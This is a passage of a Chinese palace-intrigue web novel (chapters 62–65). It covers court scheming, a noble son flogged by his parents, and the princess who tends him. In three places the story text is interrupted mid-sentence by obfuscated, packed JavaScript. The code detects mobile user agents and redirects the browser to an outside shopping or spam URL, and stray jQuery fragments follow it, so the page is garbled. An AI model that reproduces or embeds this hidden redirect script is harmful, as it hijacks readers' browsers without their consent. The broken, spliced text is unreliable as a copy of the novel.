“原来如此，方才见殿下神情淡然，我还以为自己有何失礼之处，却又不得而知。原来殿下竟这般沉稳内敛。”
“是，殿下与醇亲王关系最为亲近。既然殿下留下了姑娘，姑娘便无需胆战心惊，也不必过多思虑。”
“最为亲近？”南门鸢停下脚步，搅动着手中的手帕，嘴唇嗫嚅半晌，垂眸低声道：“我自知长相平庸，身份卑微，万万不能与公主殿下相提并论……”
“姑娘又多虑了。”本采笑意盈盈，泰然自若，“殿下与醇亲王亲如……当今陛下龙体康健，且宫内人多口杂，奴婢不便多言。姑娘便在此安心居住，好好学礼，日后自会有福气的。”
话毕，本采不欲再多言，简约客套一句后，便不容置疑地躬身离开，去寻自家主子。
……
殿内，萧沁澜无聊地拨弄着烛心，听到熟悉的脚步声，抬眸望去，“偏殿的门可关上了？”
“是。”本采上前将凉掉的茶水倒掉，为她换了壶温热的，“南门姑娘真是能忍，喝了那么多的安神药，还能保持头脑清醒，旁敲侧击地想要套奴婢的话。”
“她究竟想探问什么？”萧沁澜端起一杯热茶抿了一口，身体变得舒适而惬意，随之放松。
“依属下拙见，南门姑娘似乎想要了解主子对王爷的态度。”
“这么长时间，只有这一个问题？”
“是。”本采颔首道：“听了几句之后，属下见她只此一问，便含糊其辞地离开了。”
冬日漫长，现下时光尚早，有许多细节需要核实。
大局未定，还是动弹一下吧。
萧沁澜放下茶盏，“今夜去定国公府，紧身的衣裙与药可在柜中？”
“主子安坐便好，属下去取。”
待衣物取来，本采为整理发髻，“主子，偏殿那里的南门姑娘……”
“用安眠香。”梳洗完毕，萧沁澜随意瞧了眼镜中面容，起身系上披风，“剂量大一些，确保不伤身体即可。”
＆
养心殿内，香炉中轻烟袅袅，淡淡的檀香弥漫于空中，沁人心脾。
金漆雕龙宝座威严而庄重，其上的龙纹在烛火映照下栩栩如生，青玉如意光泽温润，愈发显得雅致非凡。
案几上，奏折整齐有序地摆放着，萧墨凌低头忙碌不歇。
半晌之后，他突然停下手中动作，将朱笔轻轻放下，身体后倾，靠在宝座内。
他捏着眉心，缓解劳累。
大太监见状，急忙躬身柔声询问：“陛下可是累了？要不今夜便到此。”
“几时了？”
“戌正三刻，也是时候该休憩了。”
“宁安宫那边……”
“哎呦，陛下就放心吧，贤昭公主身边有诸多暗卫看护，绝对出不了事的。”
萧墨凌闻言，忽而轻笑出声。
看着眼前堆积如山的奏折，心中涌起烦躁，却很快被他强行压制。
“若是沁澜能成为皇后便好了。此刻烦闷，还可去寻她诉说心事。”
“封后大典非同寻常，需得慎重操办。既然陛下有此想法，便该早些做打算。”大太监在一旁提醒道。
“科举之后便是三月，确实有些晚了。”
“奴才虽不懂政务与挑选吉日，但皇后入住中宫是大喜事，选拔人才亦是。百姓们皆言‘双喜临门’，奴才觉得这话甚好。”
“嗯……”萧墨凌听罢，垂眸沉思，算起最为接近的良辰吉日。
人算不如天定。
他随意挑了本奏折，漫无目的地翻看着，“明日待太后前来时，宣钦天监来乾清宫一趟。”
“是，老奴明白。”
“今日朕与沁澜谈话时，你也在场。你觉得她是何种心思？”萧墨凌顿了顿，“她可有表现出任何抗拒？”
明眼人都能瞧出贤昭公主不愿。
大太监乐呵两声，“女子毕生所学皆是为了相夫教子。这普天之下，谁能有陛下尊贵？公主殿下自然也是明白的。”
“朕……”萧墨凌想起旧事，蹙眉道：“沁澜之前性子烈，对待何事皆冲到前方，从不服输。也不知在皇宫这四年，她是否真的变得稳重？能否适应宫中生活？对了，前段日子她出府的那三日，过得如何？”
“老奴听闻，公主殿下逛了京师，品尝了美食，又到郊外骑马游玩。说起来，宫中也有这些娱乐，若公主殿下想要，只要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566474|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陛下应允，随时都可。”
“也对。”萧墨凌喟叹一声，“朕自会宠着沁澜，无人敢碰她。”
“是，陛下圣明。”
心事放下，萧墨凌不再言语，认真思索起宫中的珍贵物件。
是该提前探查一番，送入皇后宫中。
小半个时辰过去，他将手中的奏折归类放好，起身绕过御案，“祥妃近日怎样？”
“呃，如今不到一月，老奴并未接到祥妃娘娘不能侍寝的消息。陛下是要去祥妃娘娘的宫殿吗？”
见他点头，大太监立即下去安排。
夜深人静，寒风凛凛，一群人浩浩荡荡。
＆
夜色已深，亥时刚到，本该是安歇休憩的时候，定国公府却灯火通明，一片喧嚣。
祠堂之外，下人们乌泱泱地跪了一地，气氛凝重。
陆承韫脊背挺直，神情平静如水，漠然地盯着上首那整齐排列、雕刻精致的牌位。
“承韫，你何必这样执拗……”严兰乐端庄大方站在一旁，身上不曾占有半分尘埃。
她擦了擦并不存在的眼泪，特意压低声音，“老臣一脉所剩无几。年关将至，他们也是没法子才特意寻来国公府，祈求庇佑。哎……”
严兰乐上前一步，背对着列祖列宗的牌位，“凌儿命苦，好不容易当上这天下至尊，却被一个老女人处处压制。
太后威望颇深，且因前几年误打误撞，政绩不错，又引得百官信服。若是此事被捅了出去，凌儿在宫内无人诉说，心里该是何等压抑啊……”
听着那故作姿态的哽咽之声，陆承韫嘴角勾起一抹自嘲，
“官员贪腐，隐瞒灾情，滥杀无辜，冠以‘暴民’之名，而后大肆搜刮财物，强征土地，残害百姓以自肥。最终这多出的万两钱财竟流入定国公府。
母亲因惧怕此事泄露，便要儿子为当今陛下顶罪，做一场戏，以期平息民怨，将定国公府从中摘出？私下里却向那些官员承诺保其性命，为其洗白钱财？”
他紧闭双眼，藏在袖子下的双手剧烈颤抖，身体却几乎纹丝不动，傲然跪立，“母亲，这事尚未传遍京师，您确定吗？”
院子皆是签了死契的家奴，严兰乐并未阻止他的直言不讳。
听到这句明嘲暗讽的反问，她放下手中的帕子，几步上前，昂首俯视地上那直挺挺跪着的亲子。
“承韫，你自幼衣食丰足，衣饰发冠皆选用上乘之物。身边仆从众多，甚至曾在文华殿中度过多日。这一切的一切，皆因你有一位好兄长。
太祖皇帝历来威严，言出必行，功归其主，赏罚分明，从不受人挑拨。你的兄长凭借功绩，成为这明昭王朝唯一一位被太祖皇帝亲封的世子，定国公府的下一任国公爷。
这样的殊荣，在其他侯爵之中从未有过。
即便是身处后方，曾无数次救太祖皇帝于危难中的太医院院使，也仅仅得到一个没有实权的宗人府宗正之职。司空颢更是未曾被提及。更遑论那些未曾立下多少战功的‘萧’姓郡王了。
这份奖赏，比黄金万两、良田千顷更加珍贵。你可明白？”
“儿子明白……”这一番话慷慨激昂，陆承韫的神色却依旧淡漠，“母亲时刻以兄长为尊，任何有损兄长名声之事，都绝不可发生。”
“对，你能这样想最好。”
严兰乐微微前倾身子，抬手抚过他的头顶，“太后手段狠辣，那两个官员也是丧失理智，竟做得模棱两可。承韫，母亲知道这次委屈你了。别怕，用刑期间，母亲会亲自陪着。”
63. 第 63 章
定国公府的祠堂灯火辉煌，四面门扉大开，夜晚寒风不时掠过冰冷的牌位，却带不来丝毫温暖。
陆承韫的眼眸始终紧闭，听到那勉强挤出的柔声细语，只是嘴角微扬，漠然以对。
严兰乐道：“放心，母亲已备了上好的金疮药，绝不会留下任何疤痕。只需稍作忍耐，一切都会安然无恙。我们定国公府，依旧是京师中最显赫的门第。”
为防万一，严兰乐沉吟片刻，笑着又道：“凌儿已有五个妾室，承韫如今已二十有余，身边竟连个贴心侍奉的通房丫鬟都没有，是母亲疏忽。这样吧，待你伤势痊愈，母亲亲自为你挑选几位温婉娴静、貌美如花的女子。
通晓房事之后，再为你挑选一位正妃，当朝皇帝亲自下旨赐婚，母亲为你准备丰厚的聘礼，绝不让你失了颜面……”
陆承韫缄默不言。
严兰乐维持不住那份不自在。
身后忽有脚步声传来，她连忙收敛神色，解脱似的急步上前，“老爷，可查清事情究竟怎样了？”
“哼！”陆泽气势汹汹，大步流星步入祠堂之内，视线扫过地上那沉默不语的儿子，脸上的怒意愈发浓烈。
“已经查明，弹劾送礼的奏折已经到了内阁，庆如韩审阅并亲自整理，只待明日早朝便将其呈上金銮大殿。”
“太后可知晓此事？”
“太后知晓吗？”
陆泽没好气地瞪了她一眼，“你当奏折是可以随意扣押，随意呈上金銮大殿的吗？那一摞摞弹劾的奏折就是太后亲自授予所写，你说太后知不知道！”
“这……这可如何是好？”严兰乐搅动着手中帕子，于祠堂内焦虑地踱来踱去，“使用苦肉计，真的能让太后息怒吗？”
“太后手段毒辣，早已将定国公府视为眼中钉。这个关键时刻不能给凌儿添乱。”
陆泽坐在小厮抬来的太师椅内，抬手示意身后的侍卫，“去取来戒尺，执行家法。”
“呃……”侍卫乃是陆泽的亲卫，心中尚存一丝良知，闻言犹豫少许，小心翼翼回问道：“老爷是说，要戒尺吗？”
陆泽侧身斜睨着他，冷笑一声，“你说呢？”
定国公府内的戒尺非同寻常，足有半人高，其上雕刻着尖锐的银针，尤为粗大显眼。一戒尺下去，比鞭子狠狠甩一下还要狠绝。
侍卫心有不忍，却只能无声叹息，领命而去。
凌儿势力不稳，正是急需人才之时。
天下人才虽多，但忠心耿耿者千金难求。
陆泽回首，审视着那一声不吭、腰板笔直的身影，语气不再像从前那般严厉，柔和了几分。
“你别怪父亲。府内众人一荣俱荣，一损俱损。
你未经历练，对外宣称不懂事，再受些皮肉之苦，便无人置喙。放心，那两个不长眼的做出这等恶事，父亲定会亲自为你教训他们。”
“父亲……”
“还有何要求？”
“那两个官员，能杀了吗？”陆承韫平静至极，仿佛只是随口一提。
“……”
在他面前，陆泽一向习惯颐指气使，刚欲开口回骂，又想起宫中孤苦无依的嫡子，只得强忍下愤恨。
“待凌儿彻底坐稳皇位，为父会将那两个官员交给你处置。”
得到答案，陆承韫连苦笑都不曾展露，屹然等待早已习惯的惩罚。
家法而已，并非首次，忍一忍确实便过去了。
定国公府的戒尺一年总要被请出几次，因而并未锁得太远。
不到半刻钟，两个侍卫便小心翼翼地抬了过来。
“国公爷……”
“嗯，让林归来。”
林归是跟随陆泽多年征战的老兵，手中血腥无数，出手毫不留情。
陆承韫身子无意识颤抖一瞬，仅仅是转瞬，几不可查。
身体长久遭受疼痛，定会留下自然反应，所幸他久痛成常。
不过是皮开肉绽、无法起身而已。
林归握着那满是尖刺的戒尺，对他抱拳一礼，沉声道：“得罪了，二公子。”
说罢不待停顿，当即高高举起戒尺，毅然决然地重重落下。
皮肉被割开的闷响声刹那间响彻整个院落，祠堂蒲团的周围顿时溅下无数血珠。
陆承韫额头上冷汗连连，脸色霎时苍白如纸。
他死死地咬着下唇，一声不吭，嘴角丝丝缕缕的鲜血顺着下颌没入衣襟……
太师椅内的陆泽对此感到尤为满意。
这才是陆家的好男儿，有骨气，有血性！
呼啸声不停，颜色愈发艳丽……
严兰乐心思较软，侧身不忍直视这残酷的一幕，垂眸拨弄着手中的暖炉。
大堂之内灯火通明，蜡烛堆砌无数。
负责巡视定国公府的暗卫躺倒在暗处屋顶，萧沁澜于他们身躯后单手托腮，眉眼深深，视线冷漠而凉薄，一动不动，俯视着低处的再次分割。
＆
林归下手坚决，不留余力与情面，陆承韫是被抬入西院的。
西院内众下人面色凝重，匆匆进出，各自有序地忙碌着，不显半分慌乱。
严兰乐望着一切，摇头叹息，似是极度不忍，“元栖，你自幼便随侍公子左右，如今公子为了国公府身受重伤，你可要细心照料，切不可有性命之虞。”
元栖面上无波无澜，行礼应“是”。
语气平淡如止水，听不出喜怒担忧。
见此情景，严兰乐眼神微闪，提起帕子硬生生地将眼角拭红，
“凌儿命运多舛，哪似承韫在府内尽享荣华富贵。待此事彻底了结，我必去恳求凌儿，让承韫成为这国公府的世子继承家业。元栖，这几日事务繁忙，便都托付给你了。”
元栖躬身愈低，无法窥见他的面色。
“是，夫人请宽心，属下定会悉心照料公子。”
“好，你向来细心周到，我自然是放心的。”
严兰乐轻吸鼻尖，遂想起某事，故作惊讶道：“哎呀！险些忘却，府中那几幅官家小姐的画像皆不入流。今夜回房，我必定为承韫挑选一门上上之选的亲事。”
语毕，她并未入屋，直接转身扬长而去。
元栖死死盯着门外，待其他院落的下人尽数离去，身体再也无法抑制，担忧、心疼、憋屈的泪水夺眶而出，猛然挥出一拳，狠狠砸向旁侧的院墙。
鲜红的血渍沿着墙体缓缓流淌。
“摧残自身，乃为他人之快。”
“谁！”声音突如其来，元栖眼神如刀锋寒霜般举目怒视。
待看清来人是谁后脸色顿变，不由浮现出满满的惊喜与希冀。
“公主殿下！”
“嗯。”萧沁澜飞身而下，细心地将院门关上，倚在门框上懒懒道：“本宫刚到，说说吧，究竟所为何事？”
除了公子，这明昭王朝内元栖最为敬仰的便是太祖皇帝，次些便是太祖的嫡系血脉。
得了应允，他详尽无遗，将所知所闻一一道来，尤其公子身上的伤口与过往经历，更是描述得细致入微，丝毫不漏。
……
“殿下，情况便是这样。殿下当知晓，我们公子后背上红痕密布，皆是由此而来的。”
“你倒是坦诚直率。”萧沁澜轻笑一声，双臂环抱，目光穿透窗户，投向屋内。
一盆盆血水被端了出来，烛火映照下皆是忙碌的身影。
“殿下请放心，这些人是公子的心腹，可信。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575353|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“好。”萧沁澜侧目顾盼，“这般长的时间，你们便始终待在此处？是陆承韫特意嘱咐？”
“正是，公子甫一闻讯消息便被召去。属下仓促间未及筹谋，又不敢轻易显露行迹，唯有……”元栖再度泪眼婆娑，“唯有隐忍倾听！”
“往昔亦是相似境遇吗？”
“大抵相似。每逢定国公府有过失，受责罚者总是公子。公子的名声也是次次被无故惩罚后，才蒙受这不该承担的天大冤屈！”
“名声不佳？京师之中人皆聪慧，朝臣对你家公子可是尤为怜惜的。”
萧沁澜递给他一瓶药粉，眼神扫向那仍旧渗血的指节，“须得养好自身，方能照料公子。”
“多谢殿下恩赐。”元栖未再多言，启开药粉立即洒下，却未料到成效那般快速且强烈，刹那间痛得面容扭曲。
“元栖……”
“嘶，怎地，嘶，公主殿下有何吩咐，嘶……”
萧沁澜端详着寂然无声的正屋，“定国公夫妇这样的人，值得存活于世吗？”
此言既出，元栖神色饮恨吞声，望了眼屋内终是幽怨道：“属下不敢妄自揣测公子心意。唯愿殿下能多加庇护我家公子。”
“好，宽心。本宫自会询问陆承韫之意，再作定夺。”
言毕，萧沁澜整了整衣襟，徐徐迈向屋内，“忙去吧，此处交由本宫处理。
＆
屋内暖意融融，碳火烧的很旺。
那几日出宫游玩，大半是由陆承韫解囊。
至少于物质层面，定国公确实未曾有过克扣。
床榻之上的呼吸微弱至极，伤口惨不忍睹。
众下人三两成群，规矩地站立一旁，目光却直直凝聚于床榻上，眼中的担忧之情几乎满溢而出。
温热的清水掠过皮开肉绽的后背，被邀来的医师手持药粉，细心地洒落。
大抵是回到了安全熟悉之地，床上之人终于展露出些许脆弱，每经触碰，便闻得细微呻吟。痛苦难当之下，又极力压抑得几近无声。
鲜血浸染了榻上的锦被，跃动的火光穿透帘幕，那张脆弱的面庞若隐若现。
萧沁澜未曾上前添乱，静静站在屏风旁等待……与欣赏。
长发如瀑，披散肩头，神情脆弱不堪，浓密的睫毛轻轻颤动。
这一幕，既令人心碎，又让人心生怜爱，难以自持。
战损果真最好的医美。
待医师将伤口缠绕完毕，终是松了一口气，拭去额头细汗，上前朝她行礼。
萧沁澜道：“肺腑如何？”
“国公爷出手自有定数。公子身上所有伤口皆狰狞可怖，手臂与后脖颈之处尤其触目惊心，恐怕非得一两年光景，这些疤痕方能稍减其色。”
“嗯，辛苦了。”
“公主殿下言重了，老朽何敢当此‘辛苦’二字。”
医师长叹一声，眼眶泛红，脸上的皱纹愈发深刻，“自离开庄子以来，公子便饱受冷眼。我们这些老人又帮不上忙。
老朽自知眼下情况，公子或许无缘得殿下正式承认。现今只盼殿下能略费心思，偶时赐信一封于我家公子以作慰藉，让公子心中多一份寄托。”
“……”
这话……过于卑微了吧？
自己在他们心中究竟何种形象？
平日表现得那般冷冷穆穆吗？
念及此，萧沁澜神情骤然变得悲戚，向老者微微欠身，“本宫定会全心全意，请先生切勿忧虑。”
包扎既毕，医师带领一众下人离去，萧沁澜则立于屏风之前，目光一寸一寸，掠过那精瘦而强健的背部线条，最终停留在那满是疮口的下唇。
她缓步上前坐于床沿，抬起指尖细细抚摸。
64. 第 64 章
“看到了？”
烛火明亮，刺眼光线摇曳不定，使得陆承韫时刻保持清醒。
纵然只是皮外伤，但其严重程度仍让他的声音沙哑干涩。
“喝水吗？”他的下唇再次渗出细细血丝，萧沁澜柔柔抚摸着，抿了抿下唇。
片刻后不舍松开，不待他回答，便起身走到桌前，倒了一杯热茶回到床边，细细地吹着。
“来了很久？”
“嗯，这幅场景我从来仅是听说，今天倒是第一次见。”
“可惜了……”陆承韫忽地轻笑出声。
那笑声低沉而压抑，听得出他此刻心情破灭。
“可惜什么？不能借此机会绊倒你那兄长吗？”
“不是。”陆承韫艰难地睁开双眼，抬眸望向她，“冬日严寒，你我二人好不容易相聚，却只能两两相望。”
“我倒是无谓，你呢？”
萧沁澜丝毫不怯，纤眉轻挑俯望着他，眼神中带着几分打趣，“打算躺着，抑或是侧着呢？”
“你若主动，我皆可以。”
“看来你这身皮肉真的不想要了。”
“……会介意吗？”
“嗯？”
“疤痕。”陆承韫收敛了调笑，脸色肃穆地仰望着她，“会介意吗？”
“看情况吧。若是触碰之下起伏不显，烛火不灭却也无妨。”
“……沁澜……”
“逗你的。”手中的茶水已经变得温热，萧沁澜从旁拉过把小凳子，坐下后偏头与之对视，将茶水递到他嘴边。
屋内的碳火“噼里啪啦”，灼灼生辉。
陆承韫口中含着茶沿，眼神却透过袅袅雾气，一瞬不瞬地凝望着她。
那眼神侵略十足，萧沁澜盈盈一笑，眉目弯弯地收回手臂，将茶盏搁在身后的案几上，双手托腮，侧首与之视线相撞。
“知道为什么，受委屈的总是你吗？”
“因为我是次子。出生时，害得母亲不能生育。”
“错。”萧沁澜摇了摇头，“因你不吵不闹、不喊不叫，稳重端方、乖巧懂事。”
陆承韫听罢此话，真心浅笑，“乖巧多形容女子与小孩儿。沁澜，我是男人。”
萧沁澜并未接续他的话茬，“幼时定国公夫妇将你送走，未曾过多相伴。
自踏入府邸门槛后，每当府内遇事，你那兄长是否总理直气壮地施加压力，要求国公爷用你收拾残局？而你为了融入，总是甘愿承揽一切。诚然，今时不同往日。但初归那几年，你心中定对父母有所期许。”
陆承韫静静注视着她，笑而不语。
“人的底线，往往是被纵容惯出来的。一次次的妥协与退让，只会滋养他们的理所应当。说实话，但凡俗世之人无不例外。若我身边有如你这般……”
“沁澜……”
“好，那我换个说法。”
萧沁澜指尖晃动，一笔一划，“如今的我对你情深意重。待我们成婚之后，定会有一段恩爱时光。长一些或许能持续数年。
然而数年之后，若有个与你一模一样的男子前来与我攀谈，还不时撒娇卖萌。他年轻气盛，精力充沛。若那时你想要挽回，你会如何做？想必是默默承受，默默付出……”
“绝不会！”
陆承韫答得斩钉截铁，眼神锐利地眯起，“与母亲相见之后，我便随兄长踏上了战场。沁澜，若真有此人，我绝不会手下留情。”
“是吗？”萧沁澜没忍住捏了捏他的脸颊，“我亦可以向你保证，精力耗尽之前，我的心绝不会改变。”
她的话谁知真假几分，但得了承诺，心中总归是有些许安慰。
陆承韫舔了舔略显干涩的下唇，“你之前，为何没亲自为我上药？”
“不会。”
萧沁澜盯着他水润的唇角，诚恳摇头，“骑马射箭、上阵杀敌、轻功计谋、人心换算，这些我皆算擅长。但这医理之学实在深奥。我曾跟随司空大人学过一段时间，简直头疼不已。”
“竟还有你抵触的知识，真是难得一见。润知知晓吗？”
“他会是我一生的兄长，除此之外，别无其他可能。”萧沁澜为他掩了掩搭在腿间的被角，“本想今夜放松片刻，没想到却来此做了苦力。真是不划算。”
“很快。”陆承韫勉强抬起手掌，拢过垂在手边的长发，“年后，我一定好好补偿你。”
“睡吧，今夜我不走。”
“明日走之前，唤醒我，好吗？”
“伤痛之后的第二日最是难熬，马上便是宫宴了，你仔细些。”
陆承韫确实体力不支，现下只是强撑着眼皮。
听到这柔声细语的关切话语，感受着夫人的亲自照顾，脑海昏昏沉沉，握着那一缕长发终是沉沉睡去。
与他相处也有时日了，萧沁澜能够准确判断他是否真的入睡。
榻上呼吸声平稳，她取下腰间荷包，垂落的穗子代替自己的长发，放在他手心。起身后，安然若素地前往外间卧榻。
……
翌日，朝霞映照天际，金辉洒落，大地披上了一袭锦绣轻纱。
陆承韫意识方才初醒，却瞬间感觉四肢百骸酸痛无力，后背好似被熊熊烈火灼灼燃烧。那火海太过逼真，无处可遁，不停刺激着他混沌未明的神经。
冷汗与痛楚如潮水般汹涌而至，他神识顿时清明，陡然惊醒，想起昨夜立即偏头望向屏风之后，提着一口气唤道：“沁澜……”
“来了，公子！”
元栖拖着长长的尾音急忙跑来，左手拎着食盒放于桌上，右手则端着茶水缓缓上前，单膝跪地递至他唇边，“公主殿下有言，伤重之人最是缺水，需多多补充，注意休息，不可劳累，亦不可多思多虑。”
陆承韫润了润嗓子，咽下后问道：“她做了什么？”
“目前尚不知晓。”元栖眼神闪烁，“但殿下有言，定会亲自为公子讨回公道，让公子心满意足。”
“心满意足？”陆承韫笑叹，“决定权在父亲手中，如何才能算得上是满意？沁澜何时离去的？”
“宁安宫昨日有陌生人闯入，公主殿下卯时刚到便匆匆离去。不过在离开前，她还特意叮嘱我要好生照顾公子，并啰嗦了一大堆注意事项。我听得耳朵都快生茧了……”
元栖语气夸张，见公子脸上的笑意始终不减，于是便自顾自地，依照吩咐继续胡诌下去。
＆
天下太平，新年新气象，整个腊月的京师皆沉浸在热闹非凡之中。
腊月初一，智渊帝率领文武百官，于太和殿内亲自焚香行礼，举行新春祈福仪式。祈愿来年风调雨顺、五谷丰登、百姓和乐、年岁丰稔。
腊月初二，原应接见前来庆贺的外来使节。
然因番邦外族频频骚扰，边境并不安宁，智渊帝遂恢复日常政务，于太和殿上朝议政，又于乾清宫批阅奏折，勤勉不辍。
腊月初三至初五，本应移驾后宫平衡权势，却因后宫妃嫔仅有两人，其余皆不争不抢，身份又过于低微，智渊帝仅闲暇一日便又恢复如常，勤于政务。
腊月初六至初十，外地封疆大吏纷纷回到京师。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581936|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
明远太后与智渊帝率领京师重臣，于保和殿设宴款待，与臣子们闲话家常，举杯同庆，共贺新年之喜。
腊月十一至十五，各地州府奏折纷至沓来，皆请安述说本地百姓安居乐业，对陛下与太后娘娘的尊崇有加。
管理宫闱的贤昭公主，亦开始着手筹备除夕宴请，与正月初一的百官朝贺之事，务求一切尽善尽美。
腊月十六至二十，内阁官员们加班加点，处理积压的奏折，整合完毕后上呈乾清宫，并暂停接收新的奏折。
明远太后与智渊帝下发来年春耕备耕的事宜，以确保农业丰收，百姓能够吃饱穿暖。
腊月二十一至二十五，宫内彻底热闹红火起来。
与此同时，街头巷尾的摊贩们也摆上各种年货，对联、年画细心贴起，各色样式的红灯笼高高悬挂。
庙会、戏曲表演应接不暇。无论达官显贵或是平头百姓，皆开始设下香案，虔诚供奉灶王爷，祈求来年家宅平安、五谷丰登。
腊月二十六这几日，宫内更是灯火通明，来往的宫娥、太监步伐匆匆，为即将到来的除夕夜宴群臣而忙碌。
萧沁澜掌管宫内琐事已历三载，却首次感到力不从心，疲于应对。
……
腊月三十一大清早，天色未明，宁安宫内便已脚步声声，忙碌异常。
殿门开启，本采手捧一盆清水，绕过屏风，步入里屋。
她放下手中物件，挂起床围，“主子，今日事务繁多，更需谨慎应对，可莫要贪睡了。待明日午后便可安然就绪，届时再休息也不迟。”
床内被子鼓鼓囊囊，却不见人影，只闻闷闷的声响传来。
“淑妃与祥妃还在互相使绊子吗？”
本采心疼地望向那花团锦簇的被内，“是啊，往年宫内只有主子与太后二人，事务简约，仅需筹备家宴即可。
今年新帝登基，又纳了两名妃嫔。
且这两位互相挑剔，对主子所赠礼物多有不满。加之主子有意锻炼南门姑娘，将部分事务交由她处理，这更让淑妃心生恨意。自腊月十七起，她竟每日带领众人围观南门姑娘处理事务，那架势真是……”
本采叹息道：“若淑妃真的这样心思单纯，蠢笨无脑，不曾那般心狠手辣，或许陛下真的会考虑一二，让她留下性命，为皇家绵延子嗣。可惜，终究是个上不得台面的角色。”
言罢，她见那团被子又静止不动了，便俯身上前轻轻拍了拍，“主子？”
“醒了，没睡。”
“那，属下侍候主子穿衣。”
“好，马上。”
“……”
本采无奈地站起身，为了主子短短几息的赖床时间，她先去柜子里取出白日要穿的衣物，然后折返回来，将首饰依次排列整齐。
随后检查晚上出席宴会要用到的朝服，顺便擦拭着并不存在的灰尘……
在小小的寝殿内转悠了半晌，时间已经到了卯时三刻，实在拖延不得了，本采方才唤来几个早已等候的宫娥，上前强硬地打开锦被，将躲懒的主子驾起洗漱打扮。
萧沁澜坐在木凳子上，望着铜镜中模糊的人影，打了个哈欠侯，恢复了些许元气。
她配合着宫娥动作，自己穿起耳环，吩咐道：“今日晌午，润知、宁郡王与司空要来慈宁宫请安，记得备好午膳，家常一些便可。”
“是，属下记得呢。”
“还有，陆承韫的伤势还未痊愈，晌午他得了恩赐，不会入宫。不过今夜的除夕宴他定然会来。你将他安排到润知那里，定国公不敢反对。”
65. 第 65 章
晌午时分，空中纷纷扬扬，细如碎玉的雪花随风而舞，翩翩洒落于慈宁宫的金碧辉煌之上，风景曼妙绝伦。
“瑞雪预示丰年啊！”
早已前来请安的萧抒亲眼目睹此番美景，欣喜若狂地奔至殿外，宛若孩童般不停地伸手捕捉，亦不忘呼唤殿内的人，
“润知快来瞧瞧，我们比试一番，看谁能抓到那最高最硕大的雪花。哎呀……别在里头闷着了，太后娘娘定不会责怪，快出来吧……”
言罢，他上前一把挽住蔫润知的臂膀，将他引至庭院之中。
蔫润知本在屋内等着沁澜的到来，不料被这一扯身形微跄，却也激起了心中那份不屈的斗志，瞬间脱下披风掷给身旁的宫人，不顾寒冷地挽起衣袖，与萧抒一同在院中跳跃抓雪，骂声此起彼伏。
司空颢倚靠于门框之上，面容温柔，含笑望着眼前的一切，那本因无聊而随手翻阅的医书，早已被他遗忘在旁。
“童心未泯，纯真依旧，慈宁宫许久未见如此热闹之景了。”明远太后身着华贵宫装，捧着手炉立于门前，眺望着那嬉笑玩闹的场面，涌动着万千感慨。
“太后娘娘……”司空颢行礼致敬，随后自行站起，轻轻合上手中的医书，笑道：“历经风雨，饱受磨砺，却仍能保持那份稚气与纯真，行事坦率真诚，未沾半点世俗尘埃。人性本有善恶，但难能可贵的是始终保持如一。”
“润知自是那心地纯良的。即便所求未得，亦能尊重人心，秉持公平与正义。
萧抒同样为人中龙凤，虽父母早逝，却从未因此对人或事心生怨恨，官职卑微亦能恪尽职守，尽心尽力。
承韫性情温文尔雅，从不与人争抢。可命运多舛，摊上不幸的父母。所幸生活富足，衣食无忧，且有数位挚友相伴左右。
亦辰性情高傲，实则内心善良，只可惜命运弄人，福分浅薄，令人惋惜。”
说罢，便没了下文，司空颢侧身眨眼，指了指自己，“太后娘娘，那我呢？”
“你？”
明远太后眼中含笑，故意斜睨了他一眼，语气中带着几分揶揄，“你跟你那父亲一样，只知道埋头钻研医术，整天像个闷葫芦，小小年纪却毫无生气，满嘴都是大道理。难怪宁郡王不喊你，他倒是很了解你。”
“老成持重，一心一意，多谢太后娘娘夸奖。”司空颢坦然接受了这个评价，规规矩矩地行了一礼。
明远太后忍俊不禁，“真是没脸没皮，跟润知学坏了。”
寒风轻拂，庭院内的雪花随之翩翩起舞，化作点点银白，落在朱红的宫墙上。
萧沁澜端坐在轿辇之上，拉起披风上的帷帽。
雪花与轿子的轻微晃动相互映衬，她下意识伸手去接那飘落的雪花。
触手冰凉，瞬间即逝。
本采随着她的动作望向半空，语气轻快，“今日的雪恰到好处，既不过分也不欠缺，正宜作为美景欣赏。但愿今夜也能这般美妙。”
骤然回想起历史书中那句“何不食肉糜”，萧沁澜不禁有些煞风景地冒出一句，“都说瑞雪预示丰年，只愿明昭王朝的百姓能够买得起温暖的棉衣，吃得上充足的粮食。”
“殿下心怀慈悲，时刻挂念着王朝的子民，奴婢应当多向殿下学习才是。”
萧沁澜朝她一笑，轻抚着自己雪白的披风，未再多言。
……
忙忙碌碌小半日，终是在午膳前，一行人抵达了慈宁宫外。
